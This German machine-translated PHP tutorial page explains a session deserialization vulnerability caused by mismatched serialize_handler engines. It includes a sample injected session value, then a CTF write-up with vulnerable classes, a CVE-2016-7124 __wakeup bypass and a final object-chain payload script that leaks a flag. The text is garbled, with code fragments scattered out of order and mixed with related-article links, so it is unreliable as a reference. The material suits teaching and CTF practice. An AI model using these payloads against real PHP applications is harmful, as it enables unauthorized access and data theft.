Heim >Backend-Entwicklung >PHP-Tutorial >Detaillierte Erläuterung der Sicherheitslücke bei der Deserialisierung von PHP-Sitzungen
In diesem Artikel wird hauptsächlich die Sicherheitslücke bei der Sitzungsdeserialisierung von PHP vorgestellt. Freunde in Not können sich darauf beziehen. Ich hoffe, es hilft allen.
Es gibt drei Konfigurationselemente in php.ini:
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
Die oben genannten Optionen beziehen sich auf die Sitzungsspeicherung und die Sequenzspeicherung in PHP.
Bei der Installation mit der xampp-Komponente werden die oben genannten Konfigurationselemente wie folgt festgelegt:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
In der obigen Konfiguration wird session.serialize_handler verwendet, um die Serialisierungs-Engine der Sitzung festzulegen Neben der Standard-PHP-Engine gibt es noch andere Engines, und die Sitzungsspeichermethoden, die den verschiedenen Engines entsprechen, sind unterschiedlich.
php_binary: Die Speichermethode ist das ASCII-Zeichen, das der Länge des Schlüsselnamens + Schlüsselname + dem durch die Funktion serialize() serialisierten Wert entspricht.
php: Der Speicher Methode ist: Schlüsselname + vertikaler Balken + durch die Funktion serialize() serialisierter Wert
php_serialize (php>5.5.4): Die Speichermethode ist, durch die Funktion serialize() serialisierter Wert
Die PHP-Engine wird standardmäßig in PHP verwendet. Wenn Sie sie auf eine andere Engine ändern möchten, müssen Sie nur den Code ini_set('session.serialize_handler', 'Die Engine, die eingestellt werden muss) hinzufügen ');. Der Beispielcode lautet wie folgt:
Das Sitzungsverzeichnis befindet sich in /var/lib/php/sessions
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
Unter der php_serialize-Engine lauten die in der Sitzungsdatei gespeicherten Daten:
a:1:{s:4:"name";s:6:"spoock";}
Der Inhalt der Datei unter der PHP-Engine ist:
name|s:6:"spoock";
php_binary Der Inhalt der Datei unter der Engine ist:
names:6:"spoock";
Da Die Länge des Namens beträgt 4, 4 entspricht der ASCII-Tabelle. Es ist EOT. Gemäß den Speicherregeln von php_binary lautet der letzte Name:6:"spoock";. (Plötzlich stellte ich fest, dass Zeichen mit einem ASCII-Wert von 4 nicht auf der Webseite angezeigt werden können. Bitte überprüfen Sie die ASCII-Tabelle selbst)
Serialisierungsrisiken in PHP-Sitzung
Es gibt kein Problem mit der Implementierung von Session in PHP. Der Schaden wird hauptsächlich durch die unsachgemäße Verwendung von Session durch Programmierer verursacht.
Wenn sich die von PHP zum Deserialisieren der gespeicherten $_SESSION-Daten verwendete Engine von der für die Serialisierung verwendeten Engine unterscheidet, werden die Daten nicht korrekt deserialisiert. Durch sorgfältig zusammengestellte Datenpakete ist es möglich, die Programmüberprüfung zu umgehen oder einige Systemmethoden auszuführen. Zum Beispiel:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
PHP-Dateien wie:
Nach dem Zugriff lautet der Inhalt der Sitzungsdatei wie folgt:
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}Aber bei Diesmal findet die Simulation auf anderen Seiten statt. Der Inhalt bei Verwendung verschiedener PHP-Engines zum Lesen ist wie folgt: (Standardmäßig wird die PHP-Engine zum Lesen der Sitzungsdatei verwendet)
a; } } // var_dump($_SESSION);Beim Zugriff auf diese Seite die Ausgabe xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }Dies liegt daran, dass bei Verwendung der PHP-Engine | als Trennzeichen zwischen Schlüssel und Wert verwendet wird, dann a:1:{s:4:"ryat"; s:30:" wird als SESSION-Schlüssel und O: 1:"A":1:{s:1:"a";s:2:"xx";} als Wert verwendet und dann deserialisiert und Schließlich erhalten Sie die Klasse A
Der Grund für die Sicherheitslücke bei der PHP-Sitzungsserialisierung besteht darin, dass die verschiedenen Engines, die für die Serialisierung und Deserialisierung verwendet werden, dazu führen, dass die Sicherheitslücke ausgelöst wird, wenn die Sitzung den Inhalt der Sitzung liest und deserialisiert Beim Laden einer Seite mit der PHP-Engine ist keine Ausgabe erforderlich.
Analyse einer Sicherheitslücke bei der Sitzungsdeserialisierung in GCTF:
Der Inhalt im Index .php ist:
<?php //error_reporting(E_ERROR & ~E_NOTICE); ini_set('session.serialize_handler', 'php_serialize'); header("content-type;text/html;charset=utf-8"); session_start(); if(isset($_GET['src'])){ $_SESSION['src'] = $_GET['src']; highlight_file(__FILE__); print_r($_SESSION['src']); } ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代码审计2</title> </head> <body>In PHP werden Serialisierungsvorgänge häufig für den Zugriff auf Daten verwendet, eine unsachgemäße Handhabung während des Serialisierungsprozesses kann jedoch einige Sicherheitsrisiken verursachen.
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>query.php . Der Inhalt von
/************************/ /* //query.php 部分代码 session_start(); header('Look me: edit by vim ~0~') //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } } } class TOPB{ public $obj; public $attr; function __construct(){ $this->attr = null; $this->obj = null; } function __toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function __wakeup(){ $this->attr = null; $this->obj = null; } function __destruct(){ echo $this->attr; } } */Weisen Sie dem TOPB-Objekt ein Attribut zu, und die magische Methode __tostring wird automatisch aufgerufen, wenn in __tostring aufgerufen wird Da später Token und Ticket verwendet werden, handelt es sich offensichtlich um ein TOPA-Objekt. Die Verwendung von während der Serialisierung kann daher die Ausgabe eines Flags und das Schreiben der Anmeldung im Hintergrund ermöglichen kann __tostring sein.
Es wird eine __wakeup()-Funktion in der deserialisierten Zeichenfolge geben, um die Parameter zu löschen: CVE-2016-7124 in Object auf einen Wert, der größer als das tatsächliche Feld ist, kann die Weckfunktion umgangen werden.
echo $this->attr;
Die endgültige Nutzlast lautet:Verwandte Empfehlungen:
unserialize($this->attr)
$this->obj->token === $this->obj->ticket
$a->ticket = &$a->token;
(string)$this->obj
Detaillierte Erläuterung des Hinzufügens, Löschens, Änderns und Überprüfens von XML-Dateien durch PHPAusführliche Erklärung, wie man CSV-Dateien mit PHP in die Datenbank importiert
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;Detaillierte Erklärung, wie PHP hexadezimale Bilddaten auf der Webseite anzeigt
Das obige ist der detaillierte Inhalt vonDetaillierte Erläuterung der Sicherheitslücke bei der Deserialisierung von PHP-Sitzungen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!